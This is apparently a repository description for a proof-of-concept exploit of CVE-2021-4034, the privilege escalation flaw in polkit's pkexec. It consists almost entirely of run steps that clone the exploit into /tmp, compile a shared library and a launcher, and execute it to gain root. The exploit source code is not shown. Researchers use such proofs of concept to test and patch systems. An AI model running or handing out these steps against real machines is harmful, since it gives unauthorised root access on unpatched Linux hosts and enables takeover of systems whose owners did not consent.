jcatala/f_poc_cve-2021-4034Proof-of-concept exploit for CVE-2021-4034, a local privilege escalation in polkit's pkexec, demonstrating exploitation via shared library injection.
cd /tmp
git clone https://github.com/jcatala/f_poc_cve-2021-4034/
cd f_poc_cve-2021-4034
gcc -fPIC -c ISO646.c
ld -shared -shared ISO646.o -o s.so
gcc f.c -o f
./f